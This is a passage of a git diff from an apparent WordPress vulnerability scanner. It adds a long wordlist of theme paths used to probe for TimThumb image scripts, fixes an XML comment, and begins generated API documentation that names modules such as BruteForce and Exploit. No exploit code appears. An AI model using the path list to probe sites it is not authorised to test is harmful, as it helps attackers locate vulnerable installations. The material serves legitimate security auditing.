+themes/premiumnews/scripts/timthumb.php
+themes/premiumnews/scripts/timthumb/timthumb.php
+themes/premiumnews//thumb.php
+themes/premiumnews/thumb.php
+themes/premiumnews/thumb.phptimthumb.php
+themes/premiumnews/thumb/thumb.php
+themes/premiumnews/thumb/timthumb.php
+themes/premiumnews//timthumb.php
+themes/premiumnews/timthumb.php
+themes/premiumnews/timthumb.phptimthumb.php
+themes/premiumnews/timthumb/timthumb.php
+themes/premiumnews/tools/thumb.php
+themes/premiumnews/tools/thumb/thumb.php
+themes/premiumnews/tools/thumb/timthumb.php
+themes/premiumnews/tools/timthumb.php
+themes/premiumnews/tools/timthumb/timthumb.php
+themes/premium-violet/thumb.php
+themes/primely/scripts/timthumb.php
+themes/primely-theme/scripts/timthumb.php
+themes/primely-wordpress/primely-theme/scripts/timthumb.php
+themes/probluezine/timthumb.php
+themes/profitstheme_11/scripts/timthumb.php
+themes/profitstheme_11/thumb.php
+themes/profitstheme_11/timthumb.php
+themes/profitstheme_11/tools/timthumb.php
+themes/profitstheme/scripts/timthumb.php
+themes/profitstheme/thumb.php
+themes/profitstheme/timthumb.php
+themes/profitstheme/tools/timthumb.php
+themes/pronto/cjl/pronto/uploadify/check.php
+themes/pronto/cjl/pronto/uploadify/uploadify.php
+themes/pronto/timthumb.php
+themes/prosto/functions/thumb.php
+themes/prosto/functions/thumb.phptimthumb.php
+themes/proudfolio/functions/thumb.php
+themes/proudfolio/thumb.php
+themes/PureType/scripts/timthumb.php
+themes/PureType/scripts/timthumb.phpthumb.php
+themes/PureType/scripts/timthumb.phptimthumb.php
+themes/PureType/timthumb.php
+themes/PureType/tools/timthumb.php
+themes/purevision/custom/thumb.php
+themes/purevision/custom/timthumb.php
+themes/purevision/framework/includes/thumb.php
+themes/purevision/framework/includes/timthumb.php
+themes/purevision/framework/thumb/thumb.php
+themes/purevision/framework/thumb/timthumb.php
+themes/purevision/functions/scripts/thumb.php
+themes/purevision/functions/scripts/timthumb.php
+themes/purevision/functions/thumb.php
+themes/purevision/functions/thumb/thumb.php
+themes/purevision/functions/timthumb.php
+themes/purevision/functions/timthumb/timthumb.php
+themes/purevision/images/thumb.php
+themes/purevision/images/timthumb.php
+themes/purevision/includes/thumb.php
+themes/purevision/includes/thumb/thumb.php
+themes/purevision/includes/thumb/timthumb.php
+themes/purevision/includes/timthumb.php
+themes/purevision/includes/timthumb/timthumb.php
+themes/purevision/inc/thumb.php
+themes/purevision/inc/timthumb.php
+themes/purevision/js/thumb.php
+themes/purevision/js/timthumb.php
+themes/purevision/layouts/thumb.php
+themes/purevision/layouts/timthumb.php
+themes/purevision/lib/custom/thumb.php
+themes/purevision/lib/custom/timthumb.php
+themes/purevision/library/functions/thumb.php
+themes/purevision/library/functions/timthumb.php
+themes/purevision/library/resource/thumb.php
+themes/purevision/library/resource/timthumb.php
+themes/purevision/library/thumb.php
+themes/purevision/library/thumb/thumb.php
+themes/purevision/library/thumb/timthumb.php
+themes/purevision/library/timthumb.php
+themes/purevision/library/timthumb/timthumb.php
+themes/purevision/lib/script/thumb.php
+themes/purevision/lib/script/timthumb.php
+themes/purevision/lib/thumb.php
+themes/purevision/lib/thumb/thumb.php
+themes/purevision/lib/thumb/timthumb.php
+themes/purevision/lib/timthumb.php
+themes/purevision/lib/timthumb/timthumb.php
+themes/purevision/modules/thumb.php
+themes/purevision/modules/timthumb.php
+themes/purevision/options/thumb.php
+themes/purevision/options/timthumb.php
+themes/purevision/scripts/thumb.php
+themes/purevision/scripts/thumb/thumb.php
+themes/purevision/scripts/thumb/timthumb.php
+themes/purevision/scripts/timthumb.php
+themes/purevision/scripts/timthumb/timthumb.php
+themes/purevision//thumb.php
+themes/purevision/thumb/thumb.php
+themes/purevision/thumb/timthumb.php
+themes/purevision//timthumb.php
+themes/purevision/timthumb/timthumb.php
+themes/purevision/tools/thumb.php
+themes/purevision/tools/thumb/thumb.php
+themes/purevision/tools/thumb/timthumb.php
+themes/purevision/tools/timthumb.php
+themes/purevision/tools/timthumb/timthumb.php
+themes/Quadro/scripts/timthumb.php
+themes/Quadro/thumb.php
+themes/Quadro/timthumb.php
+themes/Quadro/tools/timthumb.php
+themes/r755/thumb.php
+themes/realtorpress/thumbs/_tbs.phpthumb.php
+themes/realtorpress/thumbs/_tbs.phptimthumb.php
+themes/redcarpet/scripts/timthumb.php
+themes/redcarpet/thumb.php
+themes/redcarpet/timthumb.php
+themes/redcarpet/tools/timthumb.php
+themes/regal/timthumb.php
+themes/retreat/scripts/timthumb.php
+themes/retreat/thumb.php
+themes/retreat/timthumb.php
+themes/reviewit/lib/scripts/timthumb.php
+themes/rockstar/rockstar/thumb.php
+themes/rockstar/thumb.php
+themes/royalle/scripts/timthumb.php
+themes/royalle/thumb.php
+themes/royalle/timthumb.php
+themes/rt_panacea_wp/thumb.php
+themes/rttheme13/thumb.php
+themes/rttheme13/timthumb.php
+themes/sakura/plugins/woo-tumblog/functions/thumb.php
+themes/sakura/plugins/woo-tumblog/functions/thumb.phptimthumb.php
+themes/sakura/plugins/woo-tumblog/functions/timthumb.php
+themes/sakura/plugins/woo-tumblog/thumb.php
+themes/sakura/pluguins/woo-tumblog/timthumb.php
+themes/sakura/woo-tumblog/functions/thumb.php
+themes/savinggrace/functions/thumb.php
+themes/savinggrace/thumb.php
+themes/scripts/magazinum/timthumb.php
+themes/sealight/custom/thumb.php
+themes/sealight/custom/timthumb.php
+themes/sealight/framework/includes/thumb.php
+themes/sealight/framework/includes/timthumb.php
+themes/sealight/framework/thumb/thumb.php
+themes/sealight/framework/thumb/timthumb.php
+themes/sealight/functions/scripts/thumb.php
+themes/sealight/functions/scripts/timthumb.php
+themes/sealight/functions/thumb.php
+themes/sealight/functions/thumb/thumb.php
+themes/sealight/functions/timthumb.php
+themes/sealight/functions/timthumb/timthumb.php
+themes/sealight/images/thumb.php
+themes/sealight/images/timthumb.php
+themes/sealight/includes/thumb.php
+themes/sealight/includes/thumb/thumb.php
+themes/sealight/includes/thumb/timthumb.php
+themes/sealight/includes/timthumb.php
+themes/sealight/includes/timthumb/timthumb.php
+themes/sealight/inc/thumb.php
+themes/sealight/inc/timthumb.php
+themes/sealight/js/thumb.php
+themes/sealight/js/timthumb.php
+themes/sealight/layouts/thumb.php
+themes/sealight/layouts/timthumb.php
+themes/sealight/lib/custom/thumb.php
+themes/sealight/lib/custom/timthumb.php
+themes/sealight/library/functions/thumb.php
+themes/sealight/library/functions/timthumb.php
+themes/sealight/library/resource/thumb.php
+themes/sealight/library/resource/timthumb.php
+themes/sealight/library/thumb.php
+themes/sealight/library/thumb/thumb.php
+themes/sealight/library/thumb/timthumb.php
+themes/sealight/library/timthumb.php
+themes/sealight/library/timthumb/timthumb.php
+themes/sealight/lib/script/thumb.php
+themes/sealight/lib/script/timthumb.php
+themes/sealight/lib/thumb.php
+themes/sealight/lib/thumb/thumb.php
+themes/sealight/lib/thumb/timthumb.php
+themes/sealight/lib/timthumb.php
+themes/sealight/lib/timthumb/timthumb.php
+themes/sealight/modules/thumb.php
+themes/sealight/modules/timthumb.php
+themes/sealight/options/thumb.php
+themes/sealight/options/timthumb.php
+themes/sealight/scripts/thumb.php
+themes/sealight/scripts/thumb/thumb.php
+themes/sealight/scripts/thumb/timthumb.php
+themes/sealight/scripts/timthumb.php
+themes/sealight/scripts/timthumb/timthumb.php
+themes/sealight//thumb.php
+themes/sealight/thumb.php
+themes/sealight/thumb/thumb.php
+themes/sealight/thumb/timthumb.php
+themes/sealight//timthumb.php
+themes/sealight/timthumb.php
+themes/sealight/timthumb/timthumb.php
+themes/sealight/tools/thumb.php
+themes/sealight/tools/thumb/thumb.php
+themes/sealight/tools/thumb/timthumb.php
+themes/sealight/tools/timthumb.php
+themes/sealight/tools/timthumb/timthumb.php
+themes/shaan/timthumb.php
+themes/shadow-block/thumb.php
+themes/shadow/timthumb.php
+themes/showfolio/thumb.php
+themes/showfolio/timthumb.php
+themes/showtime/scripts/timthumb.php
+themes/simple-but-great/timthumb.php
+themes/simplenews_premium/scripts/timthumb.php
+themes/SimplePress/custom/thumb.php
+themes/SimplePress/custom/timthumb.php
+themes/SimplePress/framework/includes/thumb.php
+themes/SimplePress/framework/includes/timthumb.php
+themes/SimplePress/framework/thumb/thumb.php
+themes/SimplePress/framework/thumb/timthumb.php
+themes/SimplePress/functions/scripts/thumb.php
+themes/SimplePress/functions/scripts/timthumb.php
+themes/SimplePress/functions/thumb.php
+themes/SimplePress/functions/thumb/thumb.php
+themes/SimplePress/functions/timthumb.php
+themes/SimplePress/functions/timthumb/timthumb.php
+themes/SimplePress/images/thumb.php
+themes/SimplePress/images/timthumb.php
+themes/SimplePress/includes/thumb.php
+themes/SimplePress/includes/thumb/thumb.php
+themes/SimplePress/includes/thumb/timthumb.php
+themes/SimplePress/includes/timthumb.php
+themes/SimplePress/includes/timthumb/timthumb.php
+themes/SimplePress/inc/thumb.php
+themes/SimplePress/inc/timthumb.php
+themes/SimplePress/js/thumb.php
+themes/SimplePress/js/timthumb.php
+themes/SimplePress/layouts/thumb.php
+themes/SimplePress/layouts/timthumb.php
+themes/SimplePress/lib/custom/thumb.php
+themes/SimplePress/lib/custom/timthumb.php
+themes/SimplePress/library/functions/thumb.php
+themes/SimplePress/library/functions/timthumb.php
+themes/SimplePress/library/resource/thumb.php
+themes/SimplePress/library/resource/timthumb.php
+themes/SimplePress/library/thumb.php
+themes/SimplePress/library/thumb/thumb.php
+themes/SimplePress/library/thumb/timthumb.php
+themes/SimplePress/library/timthumb.php
+themes/SimplePress/library/timthumb/timthumb.php
+themes/SimplePress/lib/script/thumb.php
+themes/SimplePress/lib/script/timthumb.php
+themes/SimplePress/lib/thumb.php
+themes/SimplePress/lib/thumb/thumb.php
+themes/SimplePress/lib/thumb/timthumb.php
+themes/SimplePress/lib/timthumb.php
+themes/SimplePress/lib/timthumb/timthumb.php
+themes/SimplePress/modules/thumb.php
+themes/SimplePress/modules/timthumb.php
+themes/SimplePress/options/thumb.php
+themes/SimplePress/options/timthumb.php
+themes/SimplePress/scripts/thumb.php
+themes/SimplePress/scripts/thumb/thumb.php
+themes/SimplePress/scripts/thumb/timthumb.php
+themes/SimplePress/scripts/timthumb.php
+themes/SimplePress/scripts/timthumb/timthumb.php
+themes/simplepress/SimplePress/timthumb.php
+themes/SimplePress//thumb.php
+themes/SimplePress/thumb.php
+themes/SimplePress/thumb/thumb.php
+themes/SimplePress/thumb/timthumb.php
+themes/simplepress/timthumb.php
+themes/SimplePress//timthumb.php
+themes/SimplePress/timthumb.php
+themes/SimplePress/timthumb.phptimthumb.php
+themes/SimplePress/timthumb/timthumb.php
+themes/SimplePress/tools/thumb.php
+themes/SimplePress/tools/thumb/thumb.php
+themes/SimplePress/tools/thumb/timthumb.php
+themes/SimplePress/tools/timthumb.php
+themes/SimplePress/tools/timthumb/timthumb.php
+themes/simple-red-theme/timthumb.php
+themes/simple-tabloid/thumb.php
+themes/simplewhite/timthumb.php
+themes/SimplismTheme/Theme/Simplism/timthumb.php
+themes/Simplism/thumb.php
+themes/Simplism/timthumb.php
+themes/simplix/timthumb.php
+themes/SimplyBiz/includes/thumb.php
+themes/simplybiz/timthumb.php
+themes/skeptical/functions/thumb.php
+themes/skeptical/scripts/timthumb.php
+themes/skeptical/thumb.php
+themes/Skeptical/thumb.php
+themes/skeptical/timthumb.php
+themes/skeptical/tools/timthumb.php
+themes/slanted/cache/timthumb.php
+themes/slanted/scripts/timthumb.php
+themes/slanted/thumb.php
+themes/slanted/timthumb.php
+themes/slide/lib/scripts/timthumb.php
+themes/slidette/timThumb/timthumb.php
+themes/snapshot/functions/thumb.php
+themes/snapshot/thumb.php
+themes/snapshot/timthumb.php
+themes/snapshot/tools/timthumb.php
+themes/snapwire/thumb.php
+themes/snapwire/timthumb.php
+themes/Snapwire/timthumb.php
+themes/snowblind_colbert/thumb.php
+themes/snowblind/thumb.php
+themes/sophisticatedfolio/functions/thumb.php
+themes/sophisticatedfolio/scripts/timthumb.php
+themes/sophisticatedfolio/thumb.php
+themes/sophisticatedfolio/timthumb.php
+themes/spectrum/functions/thumb.php
+themes/spectrum/thumb.php
+themes/spectrum/timthumb.php
+themes/spectrum/tools/timthumb.php
+themes/sportpress/includes/timthumb.php
+themes/sportpress/scripts/cache/timthumb.php
+themes/sportpress/scripts/thumb.php
+themes/sportpress/scripts/timthumb.php
+themes/sportpress/scripts/timthumb.phpthumb.php
+themes/sportpress/scripts/timthumb.phptimthumb.php
+themes/sportpress/theme/timthumb.php
+themes/sportpress/thumb.php
+themes/sportpress/timthumb.php
+themes/sportpress/tools/timthumb.php
+themes/spotlight/timthumb.php
+themes/squeezepage/timthumb.php
+themes/StandardTheme_261/timthumb.php
+themes/standout/thumb.php
+themes/startbox/includes/scripts/timthumb.php
+themes/statua/functions/thumb.php
+themes/statua/thumb.php
+themes/storeelegance/thumb.php
+themes/store/timthumb.php
+themes/striking/includes/thumb.php
+themes/striking/includes/timthumb.php
+themes/striking/timthumb.php
+themes/strikon/timthumb.php
+themes/StudioBlue/thumb.php
+themes/StudioBlue/timthumb.php
+themes/suffusion/thumb.php
+themes/suffusion/timthumb.php
+themes/suffusion/timthumb.phpthumb.php
+themes/suffusion/timthumb.phptimthumb.php
+themes/sufussion/timthumb.php
+themes/suitandtie/functions/thumb.php
+themes/suitandtie/thumb.php
+themes/supermassive/lib/scripts/timthumb.php
+themes/supportpress/functions/thumb.php
+themes/supportpress/functions/timthumb.php
+themes/swatch/functions/thumb.php
+themes/swatch/functions/timthumb.php
+themes/swatch/thumb.php
+themes/swift/includes/thumb.php
+themes/swift/includes/timthumb.php
+themes/swift/thumb.php
+themes/swift/timthumb.php
+themes/techcompass/functions/wpzoom/components/timthumb.php
+themes/techozoic-fluid/options/thumb.php
+themes/telegraph/scripts/thumb.php
+themes/telegraph/scriptsthumb.php
+themes/telegraph/scripts/timthumb.php
+themes/telegraph/scriptstimthumb.php
+themes/telegraph/scripts/timthumb.phptimthumb.php
+themes/telegraph/telegraph/scripts/timthumb.php
+themes/telegraph/thumb.php
+themes/telegraph/timthumb.php
+themes/telegraph_v1-1/scripts/timthumb.php
+themes/telegraph_v1.1/scripts/timthumb.php
+themes/TheCorporation/thumb.php
+themes/TheCorporation/timthumb.php
+themes/TheCorporation/tools/timthumb.php
+themes/the_dark_os/tools/timthumb.php
+themes/thedawn/lib/scripts/timthumb.php
+themes/thedawn/lib/scripts/timthumb.phpthumb.php
+themes/thedawn/lib/scripts/timthumb.phptimthumb.php
+themes/thedawn/lib/script/timthumb.php
+themes/thedawn/timthumb.php
+themes/thejournal/scripts/timthumb.php
+themes/thejournal/thumb.php
+themes/thejournal/timthumb.php
+themes/themetiger-fashion/thumb.php
+themes/themorningafter/functions/thumb.php
+themes/themorningafter/scripts/thumb.php
+themes/themorningafter/scripts/timthumb.php
+themes/themorningafter/themorningafter/thumb.php
+themes/themorningafter/thumb.php
+themes/themorningafter/timthumb.php
+themes/themorningafter/tools/timthumb.php
+themes/theory/thumb.php
+themes/TheProfessional/thumb.php
+themes/TheProfessional/timthumb.php
+themes/TheProfessional/tools/timthumb.php
+themes/TheSource/scripts/timthumb.php
+themes/TheSource/thumb.php
+themes/TheSource/timthumb.php
+themes/TheSource/tools/timthumb.php
+themes/thestation/functions/js/thumb.php
+themes/thestation/functions/thumb.php
+themes/thestation/scripts/timthumb.php
+themes/thestation/thumb.php
+themes/thestation/timthumb.php
+themes/thestation/tools/timthumb.php
+themes/thestation/tools/timthumb.phpthumb.php
+themes/thestation/tools/timthumb.phptimthumb.php
+themes/TheStyle/cache/thimthumb.php
+themes/TheStyle/includes/timthumb.php
+themes/TheStyle/inc/timthumb.php
+themes/TheStyle/plugins/timthumb.php
+themes/TheStyle/scripts/timthumb.php
+themes/TheStyle/thumb.php
+themes/TheStyle/timthumb.php
+themes/TheStyle/timthumb.phpthumb.php
+themes/TheStyle/timthumb.phptimthumb.php
+themes/TheStyle/tools/timthumb.php
+themes/the-theme/core/libs/thumbnails/thumb.php
+themes/the-theme/core/libs/thumbnails/timthumb.php
+themes/thetraveltheme/includes/cache/thumb.php
+themes/TheTravelTheme/includes/thumb.php
+themes/thetraveltheme/includes/timthumb.php
+themes/TheTravelTheme/includes/_timthumb.php
+themes/TheTravelTheme/includes/timthumb.php
+themes/TheTravelTheme/includes/timthumb.phpthumb.php
+themes/TheTravelTheme/includes/timthumb.phptimthumb.php
+themes/TheTravelTheme/thumb.php
+themes/TheTravelTheme/timthumb.php
+themes/thick/thumb.php
+themes/thrillingtheme/thumb.php
+themes/ThrillingTheme/thumb.php
+themes/thumb.php
+themes/TidalForce/timthumb.php
+themes/!timthumb.php
+themes/!timtimthumb.php
+themes/tm-theme/js/thumb.php
+themes/tm-theme/js/timthumb.php
+themes/totallyred/scripts/thumb.php
+themes/totallyred/scripts/timthumb.php
+themes/transcript/timthumb.php
+themes/Transcript/timthumb.php
+themes/travelogue-theme/scripts/thumb.php
+themes/travelogue-theme/scripts/timthumb.php
+themes/tribune/scripts/timthumb.php
+themes/true-blue-theme/timthumb.php
+themes/ttnews-theme/timthumb.php
+themes/twentyten/thumb.php
+themes/twentyten/timthumb.php
+themes/twittplus/scripts/thumb.php
+themes/twittplus/scripts/timthumb.php
+themes/typebased/custom/thumb.php
+themes/typebased/custom/timthumb.php
+themes/typebased/framework/includes/thumb.php
+themes/typebased/framework/includes/timthumb.php
+themes/typebased/framework/thumb/thumb.php
+themes/typebased/framework/thumb/timthumb.php
+themes/typebased/functions/scripts/thumb.php
+themes/typebased/functions/scripts/timthumb.php
+themes/typebased/functions/thumb.php
+themes/typebased/functions/thumb/thumb.php
+themes/typebased/functions/timthumb.php
+themes/typebased/functions/timthumb/timthumb.php
+themes/typebased/images/thumb.php
+themes/typebased/images/timthumb.php
+themes/typebased/includes/thumb.php
+themes/typebased/includes/thumb/thumb.php
+themes/typebased/includes/thumb/timthumb.php
+themes/typebased/includes/timthumb.php
+themes/typebased/includes/timthumb/timthumb.php
+themes/typebased/inc/thumb.php
+themes/typebased/inc/timthumb.php
+themes/typebased/js/thumb.php
+themes/typebased/js/timthumb.php
+themes/typebased/layouts/thumb.php
+themes/typebased/layouts/timthumb.php
+themes/typebased/lib/custom/thumb.php
+themes/typebased/lib/custom/timthumb.php
+themes/typebased/library/functions/thumb.php
+themes/typebased/library/functions/timthumb.php
+themes/typebased/library/resource/thumb.php
+themes/typebased/library/resource/timthumb.php
+themes/typebased/library/thumb.php
+themes/typebased/library/thumb/thumb.php
+themes/typebased/library/thumb/timthumb.php
+themes/typebased/library/timthumb.php
+themes/typebased/library/timthumb/timthumb.php
+themes/typebased/lib/script/thumb.php
+themes/typebased/lib/script/timthumb.php
+themes/typebased/lib/thumb.php
+themes/typebased/lib/thumb/thumb.php
+themes/typebased/lib/thumb/timthumb.php
+themes/typebased/lib/timthumb.php
+themes/typebased/lib/timthumb/timthumb.php
+themes/typebased/modules/thumb.php
+themes/typebased/modules/timthumb.php
+themes/typebased/options/thumb.php
+themes/typebased/options/timthumb.php
+themes/typebased/scripts/thumb.php
+themes/typebased/scripts/thumb/thumb.php
+themes/typebased/scripts/thumb/timthumb.php
+themes/typebased/scripts/timthumb.php
+themes/typebased/scripts/timthumb/timthumb.php
+themes/typebased//thumb.php
+themes/typebased/thumb.php
+themes/typebased/thumb/thumb.php
+themes/typebased/thumb/timthumb.php
+themes/typebased//timthumb.php
+themes/typebased/timthumb.php
+themes/typebased/timthumb/timthumb.php
+themes/typebased/tools/thumb.php
+themes/typebased/tools/thumb/thumb.php
+themes/typebased/tools/thumb/timthumb.php
+themes/typebased/tools/timthumb.php
+themes/typebased/tools/timthumb/timthumb.php
+themes/typographywp/timthumb.php
+themes/uBillboard/timthumb.php
+themes/uBillBoard/timthumb.php
+themes/ubuildboard/timthumb.php
+themes/u-design/scripts/thumb.php
+themes/u-design/scripts/timthumb.php
+themes/u-design/timthumb.php
+themes/ugly/thumb.php
+themes/ugly/timthumb.php
+themes/UltraNews/timthumb.php
+themes/unisphere_corporate/timthumb.php
+themes/unity/timthumb.php
+themes/urbanhip/includes/timthumb.php
+themes/versatile/thumb.php
+themes/versatile/timthumb.php
+themes/versitility/thumb.php
+themes/versitility/timthumb.php
+themes/vibefolio-teaser-10/scripts/timthumb.php
+themes/vibrantcms/functions/thumb.php
+themes/vibrantcms/thumb.php
+themes/vibrantcms/timthumb.php
+themes/vina/thumb.php
+themes/vulcan/thumb.php
+themes/vulcan/timthumb.php
+themes/Webly/thumb.php
+themes/Webly/timthumb.php
+themes/Webly/timthumb.phptimthumb.php
+themes/welcome_inn/scripts/timthumb.php
+themes/welcome_inn/thumb.php
+themes/welcome_inn/thumb.phpthumb.php
+themes/welcome_inn/thumb.phptimthumb.php
+themes/welcome_inn/timthumb.php
+themes/whitemag/script/thumb.php
+themes/widescreen/includes/thumb.php
+themes/widescreen/includes/timthumb.php
+themes/widescreen/scripts/thimthumb.php
+themes/widescreen/timthumb.php
+themes/Widescreen/tools/timthumb.php
+themes/wootube/functions/thumb.php
+themes/wootube/scripts/timthumb.php
+themes/wootube/thumb.php
+themes/wootube/timthumb.php
+themes/wootube/tools/timthumb.php
+themes/wpapi/thumb.php
+themes/wpbus-d4/includes/timthumb.php
+themes/themes/royalle/lib/script/timthumb.php
+themes/wp-creativix/scripts/thumb.php
+themes/wp-creativix/scripts/timthumb.php
+themes/wp-creativix/timthumb.php
+themes/wp-creativix/tools/timthumb.php
+themes/WPFanPro2.0/lib/scripts/timthumb.php
+themes/WPFanPro2.0/lib/thumb.php
+themes/wp-newsmagazine/scripts/timthumb.php
+themes/wp-newspaper/timthumb.php
+themes/wp-perfect/js/thumb.php
+themes/wp-perfect/js/timthumb.php
+themes/wp-premium-orange/thumb.php
+themes/wp-premium-orange/timthumb.php
+themes/wp_rokstories/thumb.php
+themes/wp_rokstories/timthumb.php
+themes/WPStore/thumb.php
+themes/WPstore/timthumb.php
+themes/WPStore/timthumb.php
+themes/wpuniversity/scripts/timthumb.php
+themes/xiando-one/thumb.php
+themes/yamidoo/scripts/timthumb.php
+themes/yamidoo/scripts/timthumb.phptimthumb.php
+themes/yamidoo/timthumb.php
+themes/yamidoo/yamidoo/scripts/timthumb.php
+themes/Zagetti/lib/shortcodes/includes/thumb.php
+themes/Zagetti/lib/shortcodes/includes/timthumb.php
+themes/zcool-like/thumb.php
+themes/zcool-like/timthumb.php
+themes/zcool-like/uploadify.php
+themes/zenko/includes/timthumb.php
+themes/zenkoreviewRD/scripts/timthumb.php
+themes/zenkoreviewRD/timthumb.php
+themes/zenko/scripts/thumb.php
+themes/zenko/scripts/timthumb.php
+themes/Zenko/scripts/timthumb.php
+uBillboard/timthumb.php
+uploads/thumb-temp/timthumb.php
diff --git a/data/wp_versions.xml b/data/wp_versions.xml
index 7d9f1993..b58eb9a1 100644
--- a/data/wp_versions.xml
+++ b/data/wp_versions.xml
@@ -18,7 +18,7 @@ You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
 ryandewhurst at gmail
-
+-->
 <!--
   This file contains identification data to identify WordPress verions.
   http://wordpress.org/download/release-archive/
diff --git a/doc/Array.html b/doc/Array.html
new file mode 100644
index 00000000..8bae154d
--- /dev/null
+++ b/doc/Array.html
@@ -0,0 +1,300 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Array</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/common_helper_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/common_helper.rb">lib/common_helper.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-_grep_">#_grep_</a></li>
+          
+          <li><a href="#method-i-grep">#grep</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Array</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="_grep_-method" class="method-detail ">
+          <a name="method-i-_grep_"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">_grep_</span><span
+              class="method-args">(regexp)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Fix for grep with symbols in ruby &lt;= 1.8.7</p>
+            
+
+            
+            <div class="method-source-code" id="_grep_-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 82</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">_grep_</span>(<span class="ruby-identifier">regexp</span>)
+  <span class="ruby-identifier">matches</span> = []
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">value</span><span class="ruby-operator">|</span>
